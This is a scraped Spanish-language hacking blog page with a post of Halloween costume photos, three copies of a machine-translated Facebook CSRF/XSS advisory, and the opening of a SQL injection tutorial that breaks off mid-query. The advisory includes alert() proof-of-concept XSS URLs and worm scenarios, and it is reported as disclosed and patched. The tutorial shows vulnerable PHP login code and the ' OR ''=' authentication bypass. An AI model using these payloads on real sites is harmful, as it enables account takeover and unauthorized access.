Electronik-Pro, Informatica, Noticas,Wordpress,Facebook,Hacking,Programas,Hosting,Dominios

Noticias

7:15 PM Recuperar archivos de una USB Dañada (CMD) sin programas

los más sexys disfraces -Halloween 2010

<div style="text-align: center;"><img alt="" border="0" height="360" id="ncode_imageresizer_container_1" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo.jpg" width="480" /> Hola aca Poniendo unas Fotos de los Disfraces mas Sexys de Halloween 2010 en la cuidad de lima Lima estas son algunas modelos y claro la fuente es de rpp, espero que les uste a todos uds y para nuestras usuarias ahi escojan su modelito para sus afortunados novios nos vemos asta otra oportunidad <img alt="" border="0" height="360" id="ncode_imageresizer_container_2" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo1.jpg" width="480" /> <table id="ncode_imageresizer_warning_3" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_3" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo2.jpg" width="480" /> <table id="ncode_imageresizer_warning_4" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_4" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo3.jpg" width="480" /> <table id="ncode_imageresizer_warning_5" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_5" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo6.jpg" width="480" /> <table id="ncode_imageresizer_warning_6" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_6" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo7.jpg" width="480" /> <table id="ncode_imageresizer_warning_7" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_7" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo8.jpg" width="480" /> <table id="ncode_imageresizer_warning_8" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_8" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo9.jpg" width="480" /> <table id="ncode_imageresizer_warning_9" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_9" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo10.jpg" width="480" /><img alt="" border="0" class="inlineimg" src="http://www.tuforovip.com/images/smilies/biggrin.gif" title="Big Grin" /> <table id="ncode_imageresizer_warning_10" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_10" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo11.jpg" width="480" /> <table id="ncode_imageresizer_warning_11" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_11" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo12.jpg" width="480" /> <table id="ncode_imageresizer_warning_12" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_12" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo13.jpg" width="480" /> <table id="ncode_imageresizer_warning_13" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" class="ncode_imageresizer_original" height="360" id="ncode_imageresizer_container_13" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo15.jpg" width="480" /> </div>

los más sexys disfraces -Halloween 2010

Hola aca Poniendo unas Fotos de los Disfraces mas Sexys de Halloween 2010 en la cuidad de lima Lima estas son algunas modelos y claro la fuente es de rpp, espero que les uste a todos uds y para nuestr…

27 Oct 2010

Facebook y vulnerabilidades, Gusanos ....

<div style="text-align: center;"><img alt="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" src="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" style="width: 377px; height: 251px;" />
 Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social
 Facebook es un sitio web de redes sociales con el segundo número más alto
 de visitas en todo el mundo, y más de 500 millones de usuarios activos. Nuestro equipo
 recientemente realizó una auditoria de seguridad de la página principal de Facebook
 junto con sus versiones móviles. Aquí están los detalles de nuestro
 resultados.
 
 I. DESCRIPCIÓN DE LAS VULNERABILIDADES
 
 Facebook cuenta con un sistema anti-CSRF basa en dos fichas,
 respectivamente llamado post_form_id y fb_dtsg. Estas fichas de cambio
 con frecuencia, y son sin duda basa en varios parámetros como
 hora del día, el tiempo de creación de la cuenta, identificador de usuario, y muchos otros.
 La determinación de los valores de estas fichas para un usuario específico, en nuestro
 punto de vista, imposible.
 
 Afortunadamente, Facebook ofrece una funcionalidad llamada "vista previa perfil",
 permitiendo a los usuarios para ver cómo su propio perfil parece a cualquier otro usuario.
 Se puede acceder mediante el
 URL: http://www.facebook.com/profile.php?v=wall&viewas = <viewer_id>. </viewer_id>Y
 esta función tiene un error. Cuando el usuario conectado permite que cualquier persona
 Comentario sobre la pared de su (a través de su configuración de privacidad), una forma (al menos) es
 dado que los usuarios puedan comentar sobre los mensajes publicados. En tal caso, cuando
 rellenar el parámetro viewas con el id de cualquier usuario, el script
 devuelve - entre otras cosas - el símbolo post_form_id de este mismo
 usuario, junto con el formulario necesario para comentar sobre la pared. Por ejemplo,
 establecer su configuración de privacidad de forma adecuada y va a
 http://www.facebook.com/profile.php?v=wall&viewas=4 revelará la
 post_form_id muestra de Mark Zuckerberg. ;-)
 
 Este error también se puede encontrar en la alimentación de ajax
 http://www.facebook.com/ajax/stream/profile.php?__a=1&profile_id = <user_id> y viewer_id = <victim_id>.</victim_id></user_id>
 
 Dos inconvenientes: en primer lugar, necesita de la víctima Identificación para recuperar su
 post_form_id simbólico. Entonces, usted todavía necesita el token fb_dtsg segundo. La
 primer problema es en realidad un problema fácil de resolver si se utiliza una pequeña
 falla CSRF situado en la m.facebook.com versión móvil. De hecho, el
 "Como" script no requiere ningún anti-token CSRF: se puede utilizar en un
 ataque CSRF para recuperar el nombre, y por lo tanto el ello, de la víctima.
 
 Nótese bien : Cuando un usuario inicia sesión en el sitio principal de entonces se registra en cualquier
 versión para móviles, así que todo es aprovechable en las principales
 versión.
 
 El segundo problema podría haber sido un problema grave si el Facebook
 equipo no nos había dejado con la posibilidad de enviar solicitudes de amistad
 sin fb_dtsg símbolo de la touch.facebook.com versión táctil. Nosotros
 considerar esto como un defecto, ya que muchos pueden hacerse una vez que se amigo con
 la víctima.
 
 Terminamos la descripción de los defectos con nuestros últimos hallazgos, dos XSS
 fallas ubicadas en cada versión móvil de Facebook, a saber, m.facebook.com
 y touch.facebook.com. Más precisamente, los guiones son incriminados
 http://m.facebook.com/l.php?u = adress> <external h=" <hash"> y</external>
 http://touch.facebook.com/l_warn.php?u = adress> <external h=" <hash">,</external>
 redirigiendo a los usuarios a la dirección proporcionada externa. Cuando se omite la h
 parámetro, la secuencia de comandos devuelve una advertencia como la dirección externa,
 que no está correctamente esterilizado antes de ser enviado de vuelta. Aquí hay dos
 prueba de concepto
 URL: http://m.facebook.com/l.php?u=http://ex.xss/ <script> alert ('XSS');</ script> y http://touch.facebook.com/l_warn.php?u=http://ex.xss/ ", alerta <script> ('XSS');</ script> II. IMPACTO DE LAS VULNERABILIDADES El impacto de estas fallas pueden ser enormes. Hemos creado dos diferentes gusanos a fin de demostrar el potencial de estas vulnerabilidades. Estos gusanos se propagan a través tanto de una aplicación de Facebook que silenciosamente cargas un script malicioso externo. El primer gusano se aprovecha de la fallas CSRF sucesivamente recuperar el id y post_form_id de la víctima, y el envío de una solicitud de amigo al atacante a través del tacto la versión de Facebook. El atacante acepta la solicitud (automáticamente), se roba todas las Información personal, publica un mensaje en la pared de la víctima para garantizar la difusión, y elimina su amistad con la víctima. En resumen, este gusano de silencio se recupera toda la información personal sobre la víctima en unos segundos. El segundo gusano es mucho más destructivo: utiliza las fallas de XSS realizar un intento de phishing maliciosos, aprovechándose de la confianza apps.facebook.com URL para engañar a la víctima. La víctima tiene la opción entre dar su contraseña de correo electrónico y hacer clic en un botón ("Cancelar") que lanza una petición que los cambios en su correo electrónico de contacto (Que es posible sin la contraseña del usuario en m.facebook.com), finalmente lugar a la modificación de su contraseña a través del "Contraseña olvidada" procedimiento. Una vez que la contraseña recuperada o modificada, el atacante se registra en la cuenta de la víctima, le roba todo el personal información como mensajes privados, envía un mensaje privado a todos los amigos de la víctima para garantizar la difusión, publica todos los privados Mensajes en la pared de la víctima, que el perfil de la víctima visible para nadie, y, finalmente, borrar todos los datos personales (fotos, privado mensajes, los mensajes de edad). Estos escenarios han sido ilustrados por nuestro equipo en dos videos, en donde hemos simulado la propagación de estos gusanos en una pequeña comunidad. No dude en seguir: Parte I: falla CSRF de seguridad en Facebook | Cómo construir un silencio CSRF gusano http://www.youtube.com/watch?v=T1yAuu2LG_s Parte II: XSS en Facebook | ¿Cómo construir un gusano XSS destructiva http://www.youtube.com/watch?v=s2n668nZR5k III. SOLUCIONES Todas estas deficiencias se han notificado a Facebook. Todos ellos son ahora parches, con excepción de la falla post_form_id en la funcionalidad de vista previa: este defecto ya no es útil ya que Facebook elimina la posibilidad de enviar solicitudes de amistad sin fb_dtsg peón en touch.facebook.com. IV. CRÉDITOS Estas vulnerabilidades han sido descubiertas por John Jean de Wargan Soluciones. Originales de asesoramiento: http://www.wargan.com/facebook-multiple-vulnerabilities-051010.php Siga con nosotros en Twitter @ johnjean No aceptamos ninguna responsabilidad por los daños causados por el uso o mal uso de esta información. Un agradecimiento especial a Alex Rice (Facebook equipo de seguridad) por su amabilidad y capacidad de respuesta.<div id="gt-res-tools" class="g-section" style=""><div style="display: none;" class="gt-icon-c" tabindex="0" id="gt-res-listen">Escuchar</div><div class="gt-icon-c" tabindex="0" style="display: none;" id="gt-res-roman">Leer fonéticamente</div> </div></div></script></div>

Facebook y vulnerabilidades, Gusanos ....

Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social Facebook es un sitio web de redes sociales con el segundo número más alto de visitas en todo el mundo, y más de 500 millo…

27 Oct 2010

Facebook y vulnerabilidades, Gusanos ....

<div style="text-align: center;"><img alt="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" src="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" style="width: 377px; height: 251px;"> Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social Facebook es un sitio web de redes sociales con el segundo número más alto de visitas en todo el mundo, y más de 500 millones de usuarios activos. Nuestro equipo recientemente realizó una auditoria de seguridad de la página principal de Facebook junto con sus versiones móviles. Aquí están los detalles de nuestro resultados. I. DESCRIPCIÓN DE LAS VULNERABILIDADES Facebook cuenta con un sistema anti-CSRF basa en dos fichas, respectivamente llamado post_form_id y fb_dtsg. Estas fichas de cambio con frecuencia, y son sin duda basa en varios parámetros como hora del día, el tiempo de creación de la cuenta, identificador de usuario, y muchos otros. La determinación de los valores de estas fichas para un usuario específico, en nuestro punto de vista, imposible. Afortunadamente, Facebook ofrece una funcionalidad llamada "vista previa perfil", permitiendo a los usuarios para ver cómo su propio perfil parece a cualquier otro usuario. Se puede acceder mediante el URL: http://www.facebook.com/profile.php?v=wall&viewas = <viewer_id>. </viewer_id>Y esta función tiene un error. Cuando el usuario conectado permite que cualquier persona Comentario sobre la pared de su (a través de su configuración de privacidad), una forma (al menos) es dado que los usuarios puedan comentar sobre los mensajes publicados. En tal caso, cuando rellenar el parámetro viewas con el id de cualquier usuario, el script devuelve - entre otras cosas - el símbolo post_form_id de este mismo usuario, junto con el formulario necesario para comentar sobre la pared. Por ejemplo, establecer su configuración de privacidad de forma adecuada y va a http://www.facebook.com/profile.php?v=wall&viewas=4 revelará la post_form_id muestra de Mark Zuckerberg. ;-) Este error también se puede encontrar en la alimentación de ajax http://www.facebook.com/ajax/stream/profile.php?__a=1&profile_id = <user_id> y viewer_id = <victim_id>.</victim_id></user_id> Dos inconvenientes: en primer lugar, necesita de la víctima Identificación para recuperar su post_form_id simbólico. Entonces, usted todavía necesita el token fb_dtsg segundo. La primer problema es en realidad un problema fácil de resolver si se utiliza una pequeña falla CSRF situado en la m.facebook.com versión móvil. De hecho, el "Como" script no requiere ningún anti-token CSRF: se puede utilizar en un ataque CSRF para recuperar el nombre, y por lo tanto el ello, de la víctima. Nótese bien : Cuando un usuario inicia sesión en el sitio principal de entonces se registra en cualquier versión para móviles, así que todo es aprovechable en las principales versión. El segundo problema podría haber sido un problema grave si el Facebook equipo no nos había dejado con la posibilidad de enviar solicitudes de amistad sin fb_dtsg símbolo de la touch.facebook.com versión táctil. Nosotros considerar esto como un defecto, ya que muchos pueden hacerse una vez que se amigo con la víctima. Terminamos la descripción de los defectos con nuestros últimos hallazgos, dos XSS fallas ubicadas en cada versión móvil de Facebook, a saber, m.facebook.com y touch.facebook.com. Más precisamente, los guiones son incriminados http://m.facebook.com/l.php?u = adress> <external h=" <hash"> y</external> http://touch.facebook.com/l_warn.php?u = adress> <external h=" <hash">,</external> redirigiendo a los usuarios a la dirección proporcionada externa. Cuando se omite la h parámetro, la secuencia de comandos devuelve una advertencia como la dirección externa, que no está correctamente esterilizado antes de ser enviado de vuelta. Aquí hay dos prueba de concepto URL: http://m.facebook.com/l.php?u=http://ex.xss/ <script> alert ('XSS');</ script> y http://touch.facebook.com/l_warn.php?u=http://ex.xss/ ", alerta <script> ('XSS');</ script> II. IMPACTO DE LAS VULNERABILIDADES El impacto de estas fallas pueden ser enormes. Hemos creado dos diferentes gusanos a fin de demostrar el potencial de estas vulnerabilidades. Estos gusanos se propagan a través tanto de una aplicación de Facebook que silenciosamente cargas un script malicioso externo. El primer gusano se aprovecha de la fallas CSRF sucesivamente recuperar el id y post_form_id de la víctima, y el envío de una solicitud de amigo al atacante a través del tacto la versión de Facebook. El atacante acepta la solicitud (automáticamente), se roba todas las Información personal, publica un mensaje en la pared de la víctima para garantizar la difusión, y elimina su amistad con la víctima. En resumen, este gusano de silencio se recupera toda la información personal sobre la víctima en unos segundos. El segundo gusano es mucho más destructivo: utiliza las fallas de XSS realizar un intento de phishing maliciosos, aprovechándose de la confianza apps.facebook.com URL para engañar a la víctima. La víctima tiene la opción entre dar su contraseña de correo electrónico y hacer clic en un botón ("Cancelar") que lanza una petición que los cambios en su correo electrónico de contacto (Que es posible sin la contraseña del usuario en m.facebook.com), finalmente lugar a la modificación de su contraseña a través del "Contraseña olvidada" procedimiento. Una vez que la contraseña recuperada o modificada, el atacante se registra en la cuenta de la víctima, le roba todo el personal información como mensajes privados, envía un mensaje privado a todos los amigos de la víctima para garantizar la difusión, publica todos los privados Mensajes en la pared de la víctima, que el perfil de la víctima visible para nadie, y, finalmente, borrar todos los datos personales (fotos, privado mensajes, los mensajes de edad). Estos escenarios han sido ilustrados por nuestro equipo en dos videos, en donde hemos simulado la propagación de estos gusanos en una pequeña comunidad. No dude en seguir: Parte I: falla CSRF de seguridad en Facebook | Cómo construir un silencio CSRF gusano http://www.youtube.com/watch?v=T1yAuu2LG_s Parte II: XSS en Facebook | ¿Cómo construir un gusano XSS destructiva http://www.youtube.com/watch?v=s2n668nZR5k III. SOLUCIONES Todas estas deficiencias se han notificado a Facebook. Todos ellos son ahora parches, con excepción de la falla post_form_id en la funcionalidad de vista previa: este defecto ya no es útil ya que Facebook elimina la posibilidad de enviar solicitudes de amistad sin fb_dtsg peón en touch.facebook.com. IV. CRÉDITOS Estas vulnerabilidades han sido descubiertas por John Jean de Wargan Soluciones. Originales de asesoramiento: http://www.wargan.com/facebook-multiple-vulnerabilities-051010.php Siga con nosotros en Twitter @ johnjean No aceptamos ninguna responsabilidad por los daños causados por el uso o mal uso de esta información. Un agradecimiento especial a Alex Rice (Facebook equipo de seguridad) por su amabilidad y capacidad de respuesta.<div id="gt-res-tools" class="g-section" style=""><div style="display: none;" class="gt-icon-c" tabindex="0" id="gt-res-listen">Escuchar</div><div class="gt-icon-c" tabindex="0" style="display: none;" id="gt-res-roman">Leer fonéticamente</div> </div></div></script></div>

Facebook y vulnerabilidades, Gusanos ....

Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red socialFacebook es un sitio web de redes sociales con el segundo número más altode visitas en todo el mundo, y más de 500 millones…

27 Oct 2010

Facebook y vulnerabilidades, Gusanos ....

<div style="text-align: center;">Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social <img alt="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" src="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png"> Facebook es un sitio web de redes sociales con el segundo número más alto de visitas en todo el mundo, y más de 500 millones de usuarios activos. Nuestro equipo recientemente realizó una auditoria de seguridad de la página principal de Facebook junto con sus versiones móviles. Aquí están los detalles de nuestro resultados. I. DESCRIPCIÓN DE LAS VULNERABILIDADES Facebook cuenta con un sistema anti-CSRF basa en dos fichas, respectivamente llamado post_form_id y fb_dtsg. Estas fichas de cambio con frecuencia, y son sin duda basa en varios parámetros como hora del día, el tiempo de creación de la cuenta, identificador de usuario, y muchos otros. La determinación de los valores de estas fichas para un usuario específico, en nuestro punto de vista, imposible. Afortunadamente, Facebook ofrece una funcionalidad llamada "vista previa perfil", permitiendo a los usuarios para ver cómo su propio perfil parece a cualquier otro usuario. Se puede acceder mediante el URL: http://www.facebook.com/profile.php?v=wall&viewas = <viewer_id>. Y esta función tiene un error. Cuando el usuario conectado permite que cualquier persona Comentario sobre la pared de su (a través de su configuración de privacidad), una forma (al menos) es dado que los usuarios puedan comentar sobre los mensajes publicados. En tal caso, cuando rellenar el parámetro viewas con el id de cualquier usuario, el script devuelve - entre otras cosas - el símbolo post_form_id de este mismo usuario, junto con el formulario necesario para comentar sobre la pared. Por ejemplo, establecer su configuración de privacidad de forma adecuada y va a http://www.facebook.com/profile.php?v=wall&viewas=4 revelará la post_form_id muestra de Mark Zuckerberg. ;-) Este error también se puede encontrar en la alimentación de ajax http://www.facebook.com/ajax/stream/profile.php?__a=1&profile_id = <user_id> y viewer_id = <victim_id>. Dos inconvenientes: en primer lugar, necesita de la víctima Identificación para recuperar su post_form_id simbólico. Entonces, usted todavía necesita el token fb_dtsg segundo. La primer problema es en realidad un problema fácil de resolver si se utiliza una pequeña falla CSRF situado en la m.facebook.com versión móvil. De hecho, el "Como" script no requiere ningún anti-token CSRF: se puede utilizar en un ataque CSRF para recuperar el nombre, y por lo tanto el ello, de la víctima. Nótese bien : Cuando un usuario inicia sesión en el sitio principal de entonces se registra en cualquier versión para móviles, así que todo es aprovechable en las principales versión. El segundo problema podría haber sido un problema grave si el Facebook equipo no nos había dejado con la posibilidad de enviar solicitudes de amistad sin fb_dtsg símbolo de la touch.facebook.com versión táctil. Nosotros considerar esto como un defecto, ya que muchos pueden hacerse una vez que se amigo con la víctima. Terminamos la descripción de los defectos con nuestros últimos hallazgos, dos XSS fallas ubicadas en cada versión móvil de Facebook, a saber, m.facebook.com y touch.facebook.com. Más precisamente, los guiones son incriminados http://m.facebook.com/l.php?u = adress> <external & h = <hash> y http://touch.facebook.com/l_warn.php?u = adress> <external & h = <hash>, redirigiendo a los usuarios a la dirección proporcionada externa. Cuando se omite la h parámetro, la secuencia de comandos devuelve una advertencia como la dirección externa, que no está correctamente esterilizado antes de ser enviado de vuelta. Aquí hay dos prueba de concepto URL: http://m.facebook.com/l.php?u=http://ex.xss/ <script> alert ('XSS');</ script> y http://touch.facebook.com/l_warn.php?u=http://ex.xss/ ", alerta <script> ('XSS');</ script> II. IMPACTO DE LAS VULNERABILIDADES El impacto de estas fallas pueden ser enormes. Hemos creado dos diferentes gusanos a fin de demostrar el potencial de estas vulnerabilidades. Estos gusanos se propagan a través tanto de una aplicación de Facebook que silenciosamente cargas un script malicioso externo. El primer gusano se aprovecha de la fallas CSRF sucesivamente recuperar el id y post_form_id de la víctima, y el envío de una solicitud de amigo al atacante a través del tacto la versión de Facebook. El atacante acepta la solicitud (automáticamente), se roba todas las Información personal, publica un mensaje en la pared de la víctima para garantizar la difusión, y elimina su amistad con la víctima. En resumen, este gusano de silencio se recupera toda la información personal sobre la víctima en unos segundos. El segundo gusano es mucho más destructivo: utiliza las fallas de XSS realizar un intento de phishing maliciosos, aprovechándose de la confianza apps.facebook.com URL para engañar a la víctima. La víctima tiene la opción entre dar su contraseña de correo electrónico y hacer clic en un botón ("Cancelar") que lanza una petición que los cambios en su correo electrónico de contacto (Que es posible sin la contraseña del usuario en m.facebook.com), finalmente lugar a la modificación de su contraseña a través del "Contraseña olvidada" procedimiento. Una vez que la contraseña recuperada o modificada, el atacante se registra en la cuenta de la víctima, le roba todo el personal información como mensajes privados, envía un mensaje privado a todos los amigos de la víctima para garantizar la difusión, publica todos los privados Mensajes en la pared de la víctima, que el perfil de la víctima visible para nadie, y, finalmente, borrar todos los datos personales (fotos, privado mensajes, los mensajes de edad). Estos escenarios han sido ilustrados por nuestro equipo en dos videos, en donde hemos simulado la propagación de estos gusanos en una pequeña comunidad. No dude en seguir: Parte I: falla CSRF de seguridad en Facebook | Cómo construir un silencio CSRF gusano http://www.youtube.com/watch?v=T1yAuu2LG_s Parte II: XSS en Facebook | ¿Cómo construir un gusano XSS destructiva http://www.youtube.com/watch?v=s2n668nZR5k III. SOLUCIONES Todas estas deficiencias se han notificado a Facebook. Todos ellos son ahora parches, con excepción de la falla post_form_id en la funcionalidad de vista previa: este defecto ya no es útil ya que Facebook elimina la posibilidad de enviar solicitudes de amistad sin fb_dtsg peón en touch.facebook.com. IV. CRÉDITOS Estas vulnerabilidades han sido descubiertas por John Jean de Wargan Soluciones. Originales de asesoramiento: http://www.wargan.com/facebook-multiple-vulnerabilities-051010.php Siga con nosotros en Twitter @ johnjean No aceptamos ninguna responsabilidad por los daños causados por el uso o mal uso de esta información. Un agradecimiento especial a Alex Rice (Facebook equipo de seguridad) por su amabilidad y capacidad de respuesta.<div id="gt-res-tools" class="g-section" style=""><div style="display: none;" class="gt-icon-c" tabindex="0" id="gt-res-listen">Escuchar</div><div class="gt-icon-c" tabindex="0" style="display: none;" id="gt-res-roman">Leer fonéticamente</div> </div></div>

Facebook y vulnerabilidades, Gusanos ....

Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red socialFacebook es un sitio web de redes sociales con el segundo número más altode visitas en todo el mundo, y más de 500 millones…

27 Oct 2010

Sql Injection tutorial

<div style="text-align: center;"><img alt="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF977IXpA4iipYvECTFpMLwUrRpyCxbSdQyoM7-KRsHczOXrsGVcb-JzE8QSoVUPQVc9EOfhmcqWPI7t90BrYwuaGwtrVx_MN-wB4-G4Ex2zVQgky0rvsPHd66k_hIWIIHVnzfVkGiE9Cf/s400/sql_injection.jpg" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjF977IXpA4iipYvECTFpMLwUrRpyCxbSdQyoM7-KRsHczOXrsGVcb-JzE8QSoVUPQVc9EOfhmcqWPI7t90BrYwuaGwtrVx_MN-wB4-G4Ex2zVQgky0rvsPHd66k_hIWIIHVnzfVkGiE9Cf/s400/sql_injection.jpg" /> les dejo un buen tutorial de SQL injection para los que empiezan con el hacking avanzado. Tambien les recomiendo el texto de hernan raciatti que tien en su web pueden encontrarlo en goole es bien completo y basico para comenzar . Tutorial de Inyección SQL. (SQL Injection) Extraido de el foro <a href="http://foro.elhacker.net/" target="_blank">http://foro.elhacker.net</a> Por SirDarckCat La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación. ATENCIÓN Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje. información sobre su implementación en PHP se puede encontrar en <a href="http://php.net/mysql" target="_blank">http://php.net/mysql</a> <a href="http://dev.mysql.com/" target="_blank">http://dev.mysql.com/</a> Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas. Ejemplo 1 Código: Código:<div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">$us=$_POST['usuario']; $pass=$_POST['pass']; $sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";</pre></div> -- código largo cortado -- Código: if(mysql_fetch_array($exc)){ echo "Inicio de sesión correcto"; // Esto fue modificado } Este es el tipico sistema de verificacion de contraseñas.. utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), así que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false <img alt="Tongue" border="0" src="http://hdlsec.com/foro/Smileys/classic/tongue.gif" />. como podemos hacer que no devuelva false?? * Con el password correcto * Haciendo trampa Logicamente, no usaremos la primera opción xD Haciendo trampa.. se haria algo así: esta es la petición que solo nos deja pasar si sabesmos el pass.. <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'</pre></div> ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us? Supongamos que ponemos de usuario Pegaso, y de password pjps. El usuario existe, pero no sabemos el pass.. la sentencia que SQL recibira sera: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'</pre></div> y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false <img alt="Sad" border="0" src="http://hdlsec.com/foro/Smileys/classic/sad.gif" /> Ahora, con un poco de creatividad: de usuario: Pegaso de password: ' OR ''=' la sentencia SQL recibira: <div class="codeheader">Código:</div><div style="color: rgb(255, 0, 0);" class="code"><pre style="margin-top: 0pt; display: inline;">SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR 